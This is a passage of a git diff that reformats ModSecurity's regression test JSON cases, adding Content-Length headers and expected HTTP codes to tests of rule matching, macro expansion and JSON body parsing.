(Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -73,19 +79,23 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=bar", + "uri": "/test.pl?foo=bar", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" }, "body": [ + "" ] }, "expected": { @@ -102,7 +112,7 @@ "version_min": 209000, "version_max": -1, "title": "Should libmodsec pass action clear m_actions?", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1152", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1152", "client": { "ip": "200.249.12.31", "port": 2313 @@ -114,8 +124,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -123,19 +133,23 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=bar", + "uri": "/test.pl?foo=bar", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" }, "body": [ + "" ] }, "expected": { @@ -152,7 +166,7 @@ "version_min": 209000, "version_max": -1, "title": "Should libmodsec pass action clear m_actions?", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1152", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1152", "client": { "ip": "200.249.12.31", "port": 2313 @@ -164,8 +178,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -173,24 +187,28 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?a=test&b=test&c=test&d=test", + "uri": "/test.pl?a=test&b=test&c=test&d=test", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" }, "body": [ + "" ] }, "expected": { - "http_code": 200, - "debug_log": "Target value: \"4\" \\(Variable: TX:test\\)" + "debug_log": "Target value: \"4\" \\(Variable: TX:test\\)", + "http_code": 200 }, "rules": [ "SecRuleEngine On", diff --git a/test/test-cases/regression/issue-1528.json b/test/test-cases/regression/issue-1528.json index f2257055c2..53c8daa22b 100644 --- a/test/test-cases/regression/issue-1528.json +++ b/test/test-cases/regression/issue-1528.json @@ -1,38 +1,46 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Macro expansion inside regex does not work", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1528", - "gihub_issue": 1528, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "uri":"/?param=attack", - "headers": "", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "Rule returned 1", - "error_log": "Matched \"Operator `Rx' with parameter `\\^attack\\$'" - }, - "rules": [ - "SecRuleEngine On", - "SecAction \"id:1, nolog, setvar:tx.bad_value=attack\"", - "SecRule ARGS:param \"@rx ^%{tx.bad_value}$\" \"id:2,block\"" - ] -} + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Macro expansion inside regex does not work", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1528", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "/?param=attack", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 1", + "error_log": "Matched \"Operator `Rx' with parameter `\\^attack\\$'", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecAction \"id:1, nolog, setvar:tx.bad_value=attack\"", + "SecRule ARGS:param \"@rx ^%{tx.bad_value}$\" \"id:2,block\"" + ] + } ] diff --git a/test/test-cases/regression/issue-1565.json b/test/test-cases/regression/issue-1565.json index 6596404f17..df729affb6 100644 --- a/test/test-cases/regression/issue-1565.json +++ b/test/test-cases/regression/issue-1565.json @@ -1,79 +1,92 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Problem with OWASP CRS rule 920160 when msc_process_request_headers called (1/2)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1565", - "gihub_issue": 394, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "1539" + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Problem with OWASP CRS rule 920160 when msc_process_request_headers called (1/2)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1565", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "Rule returned 0." - }, - "rules": [ - "SecRuleEngine On", - "SecRule REQUEST_HEADERS:Content-Length \"!^\\d+$\" \"id:1,log\"" - ] -}, -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Problem with OWASP CRS rule 920160 when msc_process_request_headers called (2/2)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1565", - "gihub_issue": 394, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "1539" + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "Rule returned 1" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 0.", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS:Content-Length \"!^\\d+$\" \"id:1,log\"" + ] }, - "rules": [ - "SecRuleEngine On", - "SecRule REQUEST_HEADERS:Content-Length \"^\\d+$\" \"id:1,log\"" - ] -} - + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Problem with OWASP CRS rule 920160 when msc_process_request_headers called (2/2)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1565", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 1", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS:Content-Length \"^\\d+$\" \"id:1,log\"" + ] + } ] diff --git a/test/test-cases/regression/issue-1576.json b/test/test-cases/regression/issue-1576.json index eb41e1dfb6..17239727e4 100644 --- a/test/test-cases/regression/issue-1576.json +++ b/test/test-cases/regression/issue-1576.json @@ -4,21 +4,26 @@ "version_min": 209000, "version_max": -1, "title": "JSON array should be handled even without a key (1)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1576", - "client":{ - "ip":"200.249.12.31", - "port":123 + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1576", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "application/json" + "Content-Type": "application/json", + "Content-Length": "158" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "{", " \"foo\":\"bar\",", @@ -33,18 +38,23 @@ "}" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log": "zwei\" \\(Variable: ARGS:json.ops.array_3.eins.array_0" + "expected": { + "debug_log": "zwei\" \\(Variable: ARGS:json.ops.array_3.eins.array_0", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", - "SecRule ARGS \"asdf\" \"id:'200441',phase:3,log\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS \"asdf\" \"id:'200441',phase:3,log\"" ] }, { @@ -52,21 +62,26 @@ "version_min": 209000, "version_max": -1, "title": "JSON array should be handled even without a key (2)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1576", - "client":{ - "ip":"200.249.12.31", - "port":123 + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1576", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "application/json" + "Content-Type": "application/json", + "Content-Length": "30" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "[", " \"one\",", @@ -75,18 +90,23 @@ "]" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log": "three\" \\(Variable: ARGS:json.array_2\\)" + "expected": { + "debug_log": "three\" \\(Variable: ARGS:json.array_2\\)", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", - "SecRule ARGS \"asdf\" \"id:'200441',phase:3,log\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS \"asdf\" \"id:'200441',phase:3,log\"" ] }, { @@ -94,21 +114,26 @@ "version_min": 209000, "version_max": -1, "title": "JSON array should be handled even without a key (3)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1576", - "client":{ - "ip":"200.249.12.31", - "port":123 + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1576", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "application/json" + "Content-Type": "application/json", + "Content-Length": "215" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "{", " \"foo\":\"bar\",", @@ -126,18 +151,23 @@ "}" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log": "treze\" \\(Variable: ARGS:json.ops.seis.doze\\)" + "expected": { + "debug_log": "treze\" \\(Variable: ARGS:json.ops.seis.doze\\)", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", - "SecRule ARGS \"asdf\" \"id:'200441',phase:3,log\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS \"asdf\" \"id:'200441',phase:3,log\"" ] } ] diff --git a/test/test-cases/regression/issue-1591.json b/test/test-cases/regression/issue-1591.json index 2b32aa29a2..4ecdaac3f3 100644 --- a/test/test-cases/regression/issue-1591.json +++ b/test/test-cases/regression/issue-1591.json @@ -1,119 +1,140 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Regular expressions in rule targets not respected (1/3)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1591", - "gihub_issue": 394, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "1539", - "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Regular expressions in rule targets not respected (1/3)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1591", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "Rule returned 0." - }, - "rules": [ - "SecRuleEngine On", - "SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/ \"321\" \"id:1,log\"" - ] -}, -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Regular expressions in rule targets not respected (2/3)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1591", - "gihub_issue": 394, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "1539", - "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "Rule returned 1." - }, - "rules": [ - "SecRuleEngine On", - "SecRule REQUEST_COOKIES \"321\" \"id:1,log\"" - ] -}, -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Regular expressions in rule targets not respected (3/3)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1591", - "gihub_issue": 394, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "1539", - "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + }, + "uri": "", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 0.", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/ \"321\" \"id:1,log\"" + ] }, - "expected": { - "debug_log": "Variable: REQUEST_HEADERS:Content-Length" + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Regular expressions in rule targets not respected (2/3)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1591", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + }, + "uri": "", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 1.", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_COOKIES \"321\" \"id:1,log\"" + ] }, - "rules": [ - "SecRuleEngine On", - "SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' \"321\" \"id:1,log\"" - ] -} + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Regular expressions in rule targets not respected (3/3)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1591", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + }, + "uri": "", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Variable: REQUEST_HEADERS:Content-Length", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' \"321\" \"id:1,log\"" + ] + } ] diff --git a/test/test-cases/regression/issue-1725.json b/test/test-cases/regression/issue-1725.json index afd7c794e2..092c8862e2 100644 --- a/test/test-cases/regression/issue-1725.json +++ b/test/test-cases/regression/issue-1725.json @@ -1,42 +1,48 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Macro expansion on msg and logdata does not work for DURATION", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1725", - "gihub_issue": 1725, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "1539", - "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Macro expansion on msg and logdata does not work for DURATION", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1725", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "body": "", - "method": "GET", - "http_version": 1.1, - "uri": "/test" - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "\/test; 0.[0-9]+; 0.[0-9]+;" - }, - "rules": [ - "SecRuleEngine On", - "SecRule DURATION \"@unconditionalMatch\" \"phase:2,id:10001,log,auditlog,pass,msg:'%{REQUEST_URI}; %{MATCHED_VAR}; %{DURATION};',logdata:'%{REQUEST_URI}; %{MATCHED_VAR}; %{DURATION};'\"" - ] -} + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Cookie": "__utma=1.32168570.12572608.1259628772.2&__utmb=1.4.10.1259628772&" + }, + "uri": "/test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "/test; 0.[0-9]+; 0.[0-9]+;", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule DURATION \"@unconditionalMatch\" \"phase:2,id:10001,log,auditlog,pass,msg:'%{REQUEST_URI}; %{MATCHED_VAR}; %{DURATION};',logdata:'%{REQUEST_URI}; %{MATCHED_VAR}; %{DURATION};'\"" + ] + } ] diff --git a/test/test-cases/regression/issue-1743.json b/test/test-cases/regression/issue-1743.json index 5e2b2fad35..bc17ea88b2 100644 --- a/test/test-cases/regression/issue-1743.json +++ b/test/test-cases/regression/issue-1743.json @@ -1,74 +1,88 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Regex match does not work when arg ends with unescaped equal char (1/2)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1743", - "gihub_issue": 1743, - "client": { - "ip": "200.249.12.31", - "port": 2313 + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Regex match does not work when arg ends with unescaped equal char (1/2)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1743", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "/?x=foo%3d", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 1", + "error_log": "Value: `foo='", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"foo?=\" \"phase:2,id:1,capture,t:none,t:lowercase,deny,msg:'XSS Attack Detected',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}'\"" + ] }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "uri":"/?x=foo%3d", - "headers": "", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "Rule returned 1", - "error_log": "Value: `foo='", - "http_code": 403 - }, - "rules": [ - "SecRuleEngine On", - "SecRule ARGS \"foo?=\" \"phase:2,id:1,capture,t:none,t:lowercase,deny,msg:'XSS Attack Detected',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}'\"" - ] -}, -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Regex match does not work when arg ends with unescaped equal char (2/2)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1743", - "gihub_issue": 1743, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "uri":"/?x=foo=", - "headers": "", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "debug_log": "Rule returned 1", - "error_log": "Value: `foo='", - "http_code": 403 - }, - "rules": [ - "SecRuleEngine On", - "SecRule ARGS \"foo?=\" \"phase:2,id:1,capture,t:none,t:lowercase,deny,msg:'XSS Attack Detected',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}'\"" - ] -} + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Regex match does not work when arg ends with unescaped equal char (2/2)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1743", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "/?x=foo=", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 1", + "error_log": "Value: `foo='", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"foo?=\" \"phase:2,id:1,capture,t:none,t:lowercase,deny,msg:'XSS Attack Detected',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}'\"" + ] + } ] diff --git a/test/test-cases/regression/issue-1785.json b/test/test-cases/regression/issue-1785.json index ba252b144f..ef8501686c 100644 --- a/test/test-cases/regression/issue-1785.json +++ b/test/test-cases/regression/issue-1785.json @@ -4,7 +4,7 @@ "version_min": 209000, "version_max": -1, "title": "Should libmodsec pass action clear m_actions?", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1152", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1152", "client": { "ip": "200.249.12.31", "port": 2313 @@ -17,7 +17,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -25,18 +25,24 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=bar", + "uri": "/test.pl?foo=bar", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "http_code": 403 diff --git a/test/test-cases/regression/issue-1812.json b/test/test-cases/regression/issue-1812.json index 47c51933bd..ca8b8eef9b 100644 --- a/test/test-cases/regression/issue-1812.json +++ b/test/test-cases/regression/issue-1812.json @@ -4,7 +4,7 @@ "version_min": 209000, "version_max": -1, "title": "Converting £ (%C2%A3) from query string", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1812", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1812", "client": { "ip": "200.249.12.31", "port": 2313 @@ -17,7 +17,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": 